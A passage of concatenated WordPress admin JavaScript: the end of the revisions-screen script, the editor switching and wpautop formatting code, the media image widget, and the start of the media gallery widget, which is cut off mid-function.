i={to:this.model.revisions.at(e)};e?i.from=this.model.revisions.at(e-1):this.model.unset("from",{silent:!0}),this.model.set(i)},nextRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))+1;this.gotoModel(e)},previousRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))-1;this.gotoModel(e)},disabledButtonCheck:function(){var e=this.model.revisions.length-1,i=a(".revisions-next .button"),t=a(".revisions-previous .button"),s=this.model.revisions.indexOf(this.model.get("to"));i.prop("disabled",e===s),t.prop("disabled",0===s)}}),s.view.Slider=wp.Backbone.View.extend({className:"wp-slider",direction:isRtl?"right":"left",events:{mousemove:"mouseMove"},initialize:function(){_.bindAll(this,"start","slide","stop","mouseMove","mouseEnter","mouseLeave"),this.listenTo(this.model,"update:slider",this.applySliderSettings)},ready:function(){this.$el.css("width",50*this.model.revisions.length+"px"),this.$el.slider(_.extend(this.model.toJSON(),{start:this.start,slide:this.slide,stop:this.stop})),this.$el.hoverIntent({over:this.mouseEnter,out:this.mouseLeave,timeout:800}),this.applySliderSettings()},mouseMove:function(e){var i=this.model.revisions.length-1,t=this.$el.allOffsets()[this.direction],i=this.$el.width()/i,e=(isRtl?a(window).width()-e.pageX:e.pageX)-t,t=Math.floor((e+i/2)/i);t<0?t=0:t>=this.model.revisions.length&&(t=this.model.revisions.length-1),this.model.set({hoveredRevision:this.model.revisions.at(t)})},mouseLeave:function(){this.model.set({hovering:!1})},mouseEnter:function(){this.model.set({hovering:!0})},applySliderSettings:function(){this.$el.slider(_.pick(this.model.toJSON(),"value","values","range"));var e=this.$("a.ui-slider-handle");this.model.get("compareTwoMode")?(e.first().toggleClass("to-handle",!!isRtl).toggleClass("from-handle",!isRtl),e.last().toggleClass("from-handle",!!isRtl).toggleClass("to-handle",!isRtl)):e.removeClass("from-handle to-handle")},start:function(e,d){this.model.set({scrubbing:!0}),a(window).on("mousemove.wp.revisions",{view:this},function(e){var i=e.data.view,t=i.$el.offset().left,s=t,o=t+i.$el.width(),n="0",r="100%",l=a(d.handle);i.model.get("compareTwoMode")&&(i=l.parent().find(".ui-slider-handle"),l.is(i.first())?r=(o=i.last().offset().left)-s:n=(t=i.first().offset().left+i.first().width())-s),e.pageX<t?l.css("left",n):e.pageX>o?l.css("left",r):l.css("left",e.pageX-s)})},getPosition:function(e){return isRtl?this.model.revisions.length-e-1:e},slide:function(e,i){var t;if(this.model.get("compareTwoMode")){if(i.values[1]===i.values[0])return!1;isRtl&&i.values.reverse(),t={from:this.model.revisions.at(this.getPosition(i.values[0])),to:this.model.revisions.at(this.getPosition(i.values[1]))}}else t={to:this.model.revisions.at(this.getPosition(i.value))},0<this.getPosition(i.value)?t.from=this.model.revisions.at(this.getPosition(i.value)-1):t.from=void 0;i=this.model.revisions.at(this.getPosition(i.value)),this.model.get("scrubbing")&&(t.hoveredRevision=i),this.model.set(t)},stop:function(){a(window).off("mousemove.wp.revisions"),this.model.updateSliderSettings(),this.model.set({scrubbing:!1})}}),s.view.Diff=wp.Backbone.View.extend({className:"revisions-diff",template:wp.template("revisions-diff"),prepare:function(){return _.extend({fields:this.model.fields.toJSON()},this.options)}}),s.Router=Backbone.Router.extend({initialize:function(e){this.model=e.model,this.listenTo(this.model,"update:diff",_.debounce(this.updateUrl,250)),this.listenTo(this.model,"change:compareTwoMode",this.updateUrl)},baseUrl:function(e){return this.model.get("baseUrl")+e},updateUrl:function(){var e=this.model.has("from")?this.model.get("from").id:0,i=this.model.get("to").id;this.model.get("compareTwoMode")?this.navigate(this.baseUrl("?from="+e+"&to="+i),{replace:!0}):this.navigate(this.baseUrl("?revision="+i),{replace:!0})},handleRoute:function(e,i){_.isUndefined(i)||(i=this.model.revisions.get(e),e=this.model.revisions.prev(i),i=i?i.id:0,e&&e.id)}}),s.init=function(){var e;window.adminpage&&"revision-php"===window.adminpage&&(e=new s.model.FrameState({initialDiffState:{to:parseInt(s.settings.to,10),from:parseInt(s.settings.from,10),compareTwoMode:"1"===s.settings.compareTwoMode},diffData:s.settings.diffData,baseUrl:s.settings.baseUrl,postId:parseInt(s.settings.postId,10)},{revisions:new s.model.Revisions(s.settings.revisionData)}),s.view.frame=new s.view.Frame({model:e}).render())},a(s.init)}(jQuery);/*! This file is auto-generated */
window.wp=window.wp||{},function(g,u){u.editor=u.editor||{},window.switchEditors=new function(){var h,b,t={};function e(){!h&&window.tinymce&&(h=window.tinymce,(b=h.$)(document).on("click",function(e){e=b(e.target);e.hasClass("wp-switch-editor")&&n(e.attr("data-wp-editor-id"),e.hasClass("switch-tmce")?"tmce":"html")}))}function v(e){e=b(".mce-toolbar-grp",e.getContainer())[0],e=e&&e.clientHeight;return e&&10<e&&e<200?parseInt(e,10):30}function n(e,t){t=t||"toggle";var n,i,r,a,o,c,p,s,d,l,g=h.get(e=e||"content"),u=b("#wp-"+e+"-wrap"),w=b("#"+e),m=w[0];if("tmce"===(t="toggle"===t?g&&!g.isHidden()?"html":"tmce":t)||"tinymce"===t){if(g&&!g.isHidden())return!1;void 0!==window.QTags&&window.QTags.closeAllTags(e);var f=parseInt(m.style.height,10)||0;(g?g.getParam("wp_keep_scroll_position"):window.tinyMCEPreInit.mceInit[e]&&window.tinyMCEPreInit.mceInit[e].wp_keep_scroll_position)&&(a=w)&&a.length&&(a=a[0],c=function(e,t){var n=t.cursorStart,t=t.cursorEnd,i=x(e,n);i&&(n=-1!==["area","base","br","col","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"].indexOf(i.tagType)?i.ltPos:i.gtPos);i=x(e,t);i&&(t=i.gtPos);i=E(e,n);i&&!i.showAsPlainText&&(n=i.urlAtStartOfContent?i.endIndex:i.startIndex);i=E(e,t);i&&!i.showAsPlainText&&(t=i.urlAtEndOfContent?i.startIndex:i.endIndex);return{cursorStart:n,cursorEnd:t}}(a.value,{cursorStart:a.selectionStart,cursorEnd:a.selectionEnd}),o=c.cursorStart,c=c.cursorEnd,d=o!==c?"range":"single",p=null,s=y(b,"&#65279;").attr("data-mce-type","bookmark"),"range"==d&&(d=a.value.slice(o,c),l=s.clone().addClass("mce_SELRES_end"),p=[d,l[0].outerHTML].join("")),a.value=[a.value.slice(0,o),s.clone().addClass("mce_SELRES_start")[0].outerHTML,p,a.value.slice(c)].join("")),g?(g.show(),!h.Env.iOS&&f&&50<(f=f-v(g)+14)&&f<5e3&&g.theme.resizeTo(null,f),g.getParam("wp_keep_scroll_position")&&S(g)):h.init(window.tinyMCEPreInit.mceInit[e]),u.removeClass("html-active").addClass("tmce-active"),w.attr("aria-hidden",!0),window.setUserSetting("editor","tinymce")}else if("html"===t){if(g&&g.isHidden())return!1;g?(h.Env.iOS||(f=(d=g.iframeElement)?parseInt(d.style.height,10):0)&&50<(f=f+v(g)-14)&&f<5e3&&(m.style.height=f+"px"),l=null,g.getParam("wp_keep_scroll_position")&&(l=function(e){var t,n,i,r,a,o,c,p=e.getWin().getSelection();if(p&&!(p.rangeCount<1))return c="SELRES_"+Math.random(),o=y(e.$,c),a=o.clone().addClass("mce_SELRES_start"),o=o.clone().addClass("mce_SELRES_end"),r=p.getRangeAt(0),t=r.startContainer,n=r.startOffset,i=r.cloneRange(),0<e.$(t).parents(".mce-offscreen-selection").length?(t=e.$("[data-mce-selected]")[0],a.attr("data-mce-object-selection","true"),o.attr("data-mce-object-selection","true"),e.$(t).before(a[0]),e.$(t).after(o[0])):(i.collapse(!1),i.insertNode(o[0]),i.setStart(t,n),i.collapse(!0),i.insertNode(a[0]),r.setStartAfter(a[0]),r.setEndBefore(o[0]),p.removeAllRanges(),p.addRange(r)),e.on("GetContent",_),t=$(e.getContent()),e.off("GetContent",_),a.remove(),o.remove(),n=new RegExp('<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*'+c+"[^<]*<\\/span>(\\s*)"),i=new RegExp('(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*'+c+"[^<]*<\\/span>"),p=t.match(n),r=t.match(i),p?(e=p.index,a=p[0].length,o=null,r&&(-1!==p[0].indexOf("data-mce-object-selection")&&(a-=p[1].length),c=r.index,-1!==r[0].indexOf("data-mce-object-selection")&&(c-=r[1].length),o=c-a),{start:e,end:o}):null}(g)),g.hide(),l&&(o=g,s=l)&&(n=o.getElement(),i=s.start,r=s.end||s.start,n.focus)&&setTimeout(function(){n.setSelectionRange(i,r),n.blur&&n.blur(),n.focus()},100)):w.css({display:"",visibility:""}),u.removeClass("tmce-active").addClass("html-active"),w.attr("aria-hidden",!1),window.setUserSetting("editor","html")}}function x(e,t){var n,i=e.lastIndexOf("<",t-1);return(e.lastIndexOf(">",t)<i||">"===e.substr(t,1))&&(e=(t=e.substr(i)).match(/<\s*(\/)?(\w+|\!-{2}.*-{2})/))?(n=e[2],{ltPos:i,gtPos:i+t.indexOf(">")+1,tagType:n,isClosingTag:!!e[1]}):null}function E(e,t){for(var n=function(e){var t,n=function(e){var t=e.match(/\[+([\w_-])+/g),n=[];if(t)for(var i=0;i<t.length;i++){var r=t[i].replace(/^\[+/g,"");-1===n.indexOf(r)&&n.push(r)}return n}(e);if(0===n.length)return[];var i,r=u.shortcode.regexp(n.join("|")),a=[];for(;i=r.exec(e);){var o="["===i[1];t={shortcodeName:i[2],showAsPlainText:o,startIndex:i.index,endIndex:i.index+i[0].length,length:i[0].length},a.push(t)}var c=new RegExp('(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^s"]+?)(<\\/p>s*|[\\n\\r][\\n\\r]|$)',"gi");for(;i=c.exec(e);)t={shortcodeName:"url",showAsPlainText:!1,startIndex:i.index,endIndex:i.index+i[0].length,length:i[0].length,urlAtStartOfContent:""===i[1],urlAtEndOfContent:""===i[3]},a.push(t);return a}(e),i=0;i<n.length;i++){var r=n[i];if(t>=r.startIndex&&t<=r.endIndex)return r}}function y(e,t){return e("<span>").css({display:"inline-block",width:0,overflow:"hidden","line-height":0}).html(t||"")}function S(e){var t,n,i,r,a,o,c,p,s=e.$(".mce_SELRES_start").attr("data-mce-bogus",1),d=e.$(".mce_SELRES_end").attr("data-mce-bogus",1);s.length&&(e.focus(),d.length?((i=e.getDoc().createRange()).setStartAfter(s[0]),i.setEndBefore(d[0]),e.selection.setRng(i)):e.selection.select(s[0])),e.getParam("wp_keep_scroll_position")&&(i=s,i=(t=e).$(i).offset().top,r=t.$(t.getContentAreaContainer()).offset().top,a=v(t),o=g("#wp-content-editor-tools"),p=c=0,o.length&&(c=o.height(),p=o.offset().top),o=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight,(r+=i)<(o-=c+a)||(a=t.settings.wp_autoresize_on?(n=g("html,body"),Math.max(r-o/2,p-c)):(n=g(t.contentDocument).find("html,body"),i),n.animate({scrollTop:parseInt(a,10)},100))),l(s),l(d),e.save()}function l(e){var t=e.parent();e.remove(),!t.is("p")||t.children().length||t.text()||t.remove()}function _(e){e.content=e.content.replace(/<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g,"<p>&nbsp;</p>")}function $(e){var t="blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure",n=t+"|div|p",t=t+"|pre",i=!1,r=!1,a=[];return e?(-1!==(e=-1===e.indexOf("<script")&&-1===e.indexOf("<style")?e:e.replace(/<(script|style)[^>]*>[\s\S]*?<\/\1>/g,function(e){return a.push(e),"<wp-preserve>"})).indexOf("<pre")&&(i=!0,e=e.replace(/<pre[^>]*>[\s\S]+?<\/pre>/g,function(e){return(e=(e=e.replace(/<br ?\/?>(\r\n|\n)?/g,"<wp-line-break>")).replace(/<\/?p( [^>]*)?>(\r\n|\n)?/g,"<wp-line-break>")).replace(/\r?\n/g,"<wp-line-break>")})),-1!==e.indexOf("[caption")&&(r=!0,e=e.replace(/\[caption[\s\S]+?\[\/caption\]/g,function(e){return e.replace(/<br([^>]*)>/g,"<wp-temp-br$1>").replace(/[\r\n\t]+/,"")})),e=(e=(e=(e=(e=-1!==(e=-1!==(e=-1!==(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace(new RegExp("\\s*</("+n+")>\\s*","g"),"</$1>\n")).replace(new RegExp("\\s*<((?:"+n+")(?: [^>]*)?)>","g"),"\n<$1>")).replace(/(<p [^>]+>.*?)<\/p>/g,"$1</p#>")).replace(/<div( [^>]*)?>\s*<p>/gi,"<div$1>\n\n")).replace(/\s*<p>/gi,"")).replace(/\s*<\/p>\s*/gi,"\n\n")).replace(/\n[\s\u00a0]+\n/g,"\n\n")).replace(/(\s*)<br ?\/?>\s*/gi,function(e,t){return t&&-1!==t.indexOf("\n")?"\n\n":"\n"})).replace(/\s*<div/g,"\n<div")).replace(/<\/div>\s*/g,"</div>\n")).replace(/\s*\[caption([^\[]+)\[\/caption\]\s*/gi,"\n\n[caption$1[/caption]\n\n")).replace(/caption\]\n\n+\[caption/g,"caption]\n\n[caption")).replace(new RegExp("\\s*<((?:"+t+")(?: [^>]*)?)\\s*>","g"),"\n<$1>")).replace(new RegExp("\\s*</("+t+")>\\s*","g"),"</$1>\n")).replace(/<((li|dt|dd)[^>]*)>/g," \t<$1>")).indexOf("<option")?(e=e.replace(/\s*<option/g,"\n<option")).replace(/\s*<\/select>/g,"\n</select>"):e).indexOf("<hr")?e.replace(/\s*<hr( [^>]*)?>\s*/g,"\n\n<hr$1>\n\n"):e).indexOf("<object")?e.replace(/<object[\s\S]+?<\/object>/g,function(e){return e.replace(/[\r\n]+/g,"")}):e).replace(/<\/p#>/g,"</p>\n")).replace(/\s*(<p [^>]+>[\s\S]*?<\/p>)/g,"\n$1")).replace(/^\s+/,"")).replace(/[\s\u00a0]+$/,""),i&&(e=e.replace(/<wp-line-break>/g,"\n")),r&&(e=e.replace(/<wp-temp-br([^>]*)>/g,"<br$1>")),a.length?e.replace(/<wp-preserve>/g,function(){return a.shift()}):e):""}function i(e){var t=!1,n=!1,i="table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary";return-1===(e=(e=-1!==(e=e.replace(/\r\n|\r/g,"\n")).indexOf("<object")?e.replace(/<object[\s\S]+?<\/object>/g,function(e){return e.replace(/\n+/g,"")}):e).replace(/<[^<>]+>/g,function(e){return e.replace(/[\n\t ]+/g," ")})).indexOf("<pre")&&-1===e.indexOf("<script")||(t=!0,e=e.replace(/<(pre|script)[^>]*>[\s\S]*?<\/\1>/g,function(e){return e.replace(/\n/g,"<wp-line-break>")})),-1!==(e=-1!==e.indexOf("<figcaption")?(e=e.replace(/\s*(<figcaption[^>]*>)/g,"$1")).replace(/<\/figcaption>\s*/g,"</figcaption>"):e).indexOf("[caption")&&(n=!0,e=e.replace(/\[caption[\s\S]+?\[\/caption\]/g,function(e){return(e=(e=e.replace(/<br([^>]*)>/g,"<wp-temp-br$1>")).replace(/<[^<>]+>/g,function(e){return e.replace(/[\n\t ]+/," ")})).replace(/\s*\n\s*/g,"<wp-temp-br />")})),e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e+="\n\n").replace(/<br \/>\s*<br \/>/gi,"\n\n")).replace(new RegExp("(<(?:"+i+")(?: [^>]*)?>)","gi"),"\n\n$1")).replace(new RegExp("(</(?:"+i+")>)","gi"),"$1\n\n")).replace(/<hr( [^>]*)?>/gi,"<hr$1>\n\n")).replace(/\s*<option/gi,"<option")).replace(/<\/option>\s*/gi,"</option>")).replace(/\n\s*\n+/g,"\n\n")).replace(/([\s\S]+?)\n\n/g,"<p>$1</p>\n")).replace(/<p>\s*?<\/p>/gi,"")).replace(new RegExp("<p>\\s*(</?(?:"+i+")(?: [^>]*)?>)\\s*</p>","gi"),"$1")).replace(/<p>(<li.+?)<\/p>/gi,"$1")).replace(/<p>\s*<blockquote([^>]*)>/gi,"<blockquote$1><p>")).replace(/<\/blockquote>\s*<\/p>/gi,"</p></blockquote>")).replace(new RegExp("<p>\\s*(</?(?:"+i+")(?: [^>]*)?>)","gi"),"$1")).replace(new RegExp("(</?(?:"+i+")(?: [^>]*)?>)\\s*</p>","gi"),"$1")).replace(/(<br[^>]*>)\s*\n/gi,"$1")).replace(/\s*\n/g,"<br />\n")).replace(new RegExp("(</?(?:"+i+")[^>]*>)\\s*<br />","gi"),"$1")).replace(/<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi,"$1")).replace(/(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi,"[caption$1[/caption]")).replace(/(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g,function(e,t,n){return n.match(/<p( [^>]*)?>/)?e:t+"<p>"+n+"</p>"}),t&&(e=e.replace(/<wp-line-break>/g,"\n")),e=n?e.replace(/<wp-temp-br([^>]*)>/g,"<br$1>"):e}function r(e){e={o:t,data:e,unfiltered:e};return g&&g("body").trigger("beforePreWpautop",[e]),e.data=$(e.data),g&&g("body").trigger("afterPreWpautop",[e]),e.data}function a(e){e={o:t,data:e,unfiltered:e};return g&&g("body").trigger("beforeWpautop",[e]),e.data=i(e.data),g&&g("body").trigger("afterWpautop",[e]),e.data}return g(document).on("tinymce-editor-init.keep-scroll-position",function(e,t){t.$(".mce_SELRES_start").length&&S(t)}),g?g(e):document.addEventListener?(document.addEventListener("DOMContentLoaded",e,!1),window.addEventListener("load",e,!1)):window.attachEvent&&(window.attachEvent("onload",e),document.attachEvent("onreadystatechange",function(){"complete"===document.readyState&&e()})),u.editor.autop=a,u.editor.removep=r,t={go:n,wpautop:a,pre_wpautop:r,_wp_Autop:i,_wp_Nop:$}},u.editor.initialize=function(e,t){var n,i,r,a,o,c,p,s,d;g&&e&&u.editor.getDefaultSettings&&(d=u.editor.getDefaultSettings(),(t=t||{tinymce:!0}).tinymce&&t.quicktags&&(i=g("#"+e),r=g("<div>").attr({class:"wp-core-ui wp-editor-wrap tmce-active",id:"wp-"+e+"-wrap"}),a=g('<div class="wp-editor-container">'),o=g("<button>").attr({type:"button","data-wp-editor-id":e}),c=g('<div class="wp-editor-tools">'),t.mediaButtons&&(p="Add Media",window._wpMediaViewsL10n&&window._wpMediaViewsL10n.addMedia&&(p=window._wpMediaViewsL10n.addMedia),(s=g('<button type="button" class="button insert-media add_media">')).append('<span class="wp-media-buttons-icon"></span>'),s.append(document.createTextNode(" "+p)),s.data("editor",e),c.append(g('<div class="wp-media-buttons">').append(s))),r.append(c.append(g('<div class="wp-editor-tabs">').append(o.clone().attr({id:e+"-tmce",class:"wp-switch-editor switch-tmce"}).text(window.tinymce.translate("Visual"))).append(o.attr({id:e+"-html",class:"wp-switch-editor switch-html"}).text(window.tinymce.translate("Text")))).append(a)),i.after(r),a.append(i)),window.tinymce&&t.tinymce&&("object"!=typeof t.tinymce&&(t.tinymce={}),(n=g.extend({},d.tinymce,t.tinymce)).selector="#"+e,g(document).trigger("wp-before-tinymce-init",n),window.tinymce.init(n),window.wpActiveEditor||(window.wpActiveEditor=e)),window.quicktags)&&t.quicktags&&("object"!=typeof t.quicktags&&(t.quicktags={}),(n=g.extend({},d.quicktags,t.quicktags)).id=e,g(document).trigger("wp-before-quicktags-init",n),window.quicktags(n),window.wpActiveEditor||(window.wpActiveEditor=n.id))},u.editor.remove=function(e){var t,n=g("#wp-"+e+"-wrap");window.tinymce&&(t=window.tinymce.get(e))&&(t.isHidden()||t.save(),t.remove()),window.quicktags&&(t=window.QTags.getInstance(e))&&t.remove(),n.length&&(n.after(g("#"+e)),n.remove())},u.editor.getContent=function(e){var t;if(g&&e)return window.tinymce&&(t=window.tinymce.get(e))&&!t.isHidden()&&t.save(),g("#"+e).val()}}(window.jQuery,window.wp);/*! This file is auto-generated */
!function(a,o){"use strict";var e=a.MediaWidgetModel.extend({}),t=a.MediaWidgetControl.extend({events:_.extend({},a.MediaWidgetControl.prototype.events,{"click .media-widget-preview.populated":"editMedia"}),renderPreview:function(){var e,t,i=this;(i.model.get("attachment_id")||i.model.get("url"))&&(t=i.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-image-preview"),t.html(e(i.previewTemplateProps.toJSON())),t.addClass("populated"),i.$el.find(".link").is(document.activeElement)||(e=i.$el.find(".media-widget-fields"),t=wp.template("wp-media-widget-image-fields"),e.html(t(i.previewTemplateProps.toJSON()))))},editMedia:function(){var i,e,a=this,t=a.mapModelToMediaFrameProps(a.model.toJSON());"none"===t.link&&(t.linkUrl=""),(i=wp.media({frame:"image",state:"image-details",metadata:t})).$el.addClass("media-widget"),t=function(){var e=i.state().attributes.image.toJSON(),t=e.link;e.link=e.linkUrl,a.selectedAttachment.set(e),a.displaySettings.set("link",t),a.model.set(_.extend(a.mapMediaToModelProps(e),{error:!1}))},i.state("image-details").on("update",t),i.state("replace-image").on("replace",t),e=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(){return o.Deferred().rejectWith(this).promise()},i.on("close",function(){i.detach(),wp.media.model.Attachment.prototype.sync=e}),i.open()},getEmbedResetProps:function(){return _.extend(a.MediaWidgetControl.prototype.getEmbedResetProps.call(this),{size:"full",width:0,height:0})},getModelPropsFromMediaFrame:function(e){return _.omit(a.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call(this,e),"image_title")},mapModelToPreviewTemplateProps:function(){var e=this,t=e.model.get("url"),i=a.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call(e);return i.currentFilename=t?t.replace(/\?.*$/,"").replace(/^.+\//,""):"",i.link_url=e.model.get("link_url"),i}});a.controlConstructors.media_image=t,a.modelConstructors.media_image=e}(wp.mediaWidgets,jQuery);/**
 * @output wp-admin/js/widgets/media-gallery-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var GalleryWidgetModel, GalleryWidgetControl, GalleryDetailsMediaFrame;

	/**
	 * Custom gallery details frame.
	 *
	 * @since 4.9.0
	 * @class    wp.mediaWidgets~GalleryDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.Post
	 */
	GalleryDetailsMediaFrame = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets~GalleryDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.Library({
					id:         'gallery',
					title:      wp.media.view.l10n.createGalleryTitle,
					priority:   40,
					toolbar:    'main-gallery',
					filterable: 'uploaded',
					multiple:   'add',
					editable:   true,

					library:  wp.media.query( _.defaults({
						type: 'image'
					}, this.options.library ) )
				}),

				// Gallery states.
				new wp.media.controller.GalleryEdit({
					library: this.options.selection,
					editing: this.options.editing,
					menu:    'gallery'
				}),

				new wp.media.controller.GalleryAdd()
			]);
		}
	} );

	/**
	 * Gallery widget model.
	 *
	 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @since 4.9.0
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_gallery
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	GalleryWidgetModel = component.MediaWidgetModel.extend(/** @lends wp.mediaWidgets.modelConstructors.media_gallery.prototype */{} );

	GalleryWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_gallery.prototype */{

		/**
		 * View events.
		 *
		 * @since 4.9.0
		 * @type {object}
		 */
		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
			'click .media-widget-gallery-preview': 'editMedia'
		} ),

		/**
		 * Gallery widget control.
		 *
		 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
		 *
		 * @constructs wp.mediaWidgets.controlConstructors.media_gallery
		 * @augments   wp.mediaWidgets.MediaWidgetControl
		 *
		 * @since 4.9.0
		 * @param {Object}         options - Options.
		 * @param {Backbone.Model} options.model - Model.
		 * @param {jQuery}         options.el - Control field container element.
		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			component.MediaWidgetControl.prototype.initialize.call( control, options );

			_.bindAll( control, 'updateSelectedAttachments', 'handleAttachmentDestroy' );
			control.selectedAttachments = new wp.media.model.Attachments();
			control.model.on( 'change:ids', control.updateSelectedAttachments );
			control.selectedAttachments.on( 'change', control.renderPreview );
			control.selectedAttachments.on( 'reset', control.renderPreview );
			control.updateSelectedAttachments();

			/*
			 * Refresh a Gallery widget partial when the user modifies one of the selected attachments.
			 * This ensures that when an attachment's caption is updated in the media modal the Gallery
			 * widget in the preview will then be refreshed to show the change. Normally doing this
			 * would not be necessary because all of the state should be contained inside the changeset,
			 * as everything done in the Customizer should not make a change to the site unless the
			 * changeset itself is published. Attachments are a current exception to this rule.
			 * For a proposal to include attachments in the customized state, see #37887.
			 */
			if ( wp.customize && wp.customize.previewer ) {
				control.selectedAttachments.on( 'change', function() {
					wp.customize.previewer.send( 'refresh-widget-partial', control.model.get( 'widget_id' ) );
				} );
			}
		},

		/**
		 * Update the selected attachments if necessary.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updateSelectedAttachments: function updateSelectedAttachments() {
			var control = this, newIds, oldIds, removedIds, addedIds, addedQuery;

			newIds = control.model.get( 'ids' );
			oldIds = _.pluck( control.selectedAttachments.models, 'id' );

			removedIds = _.difference( oldIds, newIds );
			_.each( removedIds, function( removedId ) {
				control.selectedAttachments.remove( control.selectedAttachments.get( removedId ) );
			});

			addedIds = _.difference( newIds, oldIds );
			if ( addedIds.length ) {
				addedQuery = wp.media.query({
					order: 'ASC',
					orderby: 'post__in',
					perPage: -1,
					post__in: newIds,
					query: true,
					type: 'image'
				});
				addedQuery.more().done( function() {
					control.selectedAttachments.reset( addedQuery.models );
				});
			}
		},

		/**
		 * Render preview.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, data;

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-gallery-preview' );

			data = control.previewTemplateProps.toJSON();
			data.attachments = {};
			control.selectedAttachments.each( function( attachment ) {
				data.attachments[ attachment.id ] = attachment.toJSON();
			} );

			previewContainer.html( previewTemplate( data ) );
		},

		/**
		 * Determine whether there are selected attachments.
		 *
		 * @since 4.9.0
		 * @return {boolean} Selected.
		 */
		isSelected: function isSelected() {
			var control = this;

			if ( control.model.get( 'error' ) ) {
				return false;
			}

			return control.model.get( 'ids' ).length > 0;
		},

		/**
		 * Open the media select frame to edit images.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, selection, mediaFrame, mediaFrameProps;

			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
				multiple: true
			});

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			selection.gallery = new Backbone.Model( mediaFrameProps );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}
			mediaFrame = new GalleryDetailsMediaFrame({
				frame: 'manage',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				editing:   true,
				multiple:  true,
				state: 'gallery-edit'
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'update', function onUpdate( newSelection ) {
				var state = mediaFrame.state(), resultSelection;

				resultSelection = newSelection || state.get( 'selection' );
				if ( ! resultSelection ) {
					return;
				}

				// Copy orderby_random from gallery state.
				if ( resultSelection.gallery ) {
					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
				}

				// Directly update selectedAttachments to prevent needing to do additional request.
				control.selectedAttachments.reset( resultSelection.models );

				// Update models in the widget instance.
				control.model.set( {
					ids: _.pluck( resultSelection.models, 'id' )
				} );
			} );

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			if ( selection ) {
				selection.on( 'destroy', control.handleAttachmentDestroy );
			}
		},

		/**
		 * Open the media select frame to chose an item.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		selectMedia: function selectMedia() {
			var control = this, selection, mediaFrame, mediaFrameProps;
			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
				multiple: true
			});

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}
			mediaFrame = new GalleryDetailsMediaFrame({
				frame: 'select',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				state: 'gallery'
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'update', function onUpdate( newSelection ) {
				var state = mediaFrame.state(), resultSelection;

				resultSelection = newSelection || state.get( 'selection' );
				if ( ! resultSelection ) {
					return;
				}

				// Copy orderby_random from gallery state.
				if ( resultSelection.gallery ) {
					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
				}

				// Directly update selectedAttachments to prevent needing to do additional request.
				control.selectedAttachments.reset( resultSelection.models );

				// Update widget instance.
				control.model.set( {
					ids: _.pluck( resultSelection.models, 'id' )
				} );
			} );

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			if ( selection ) {
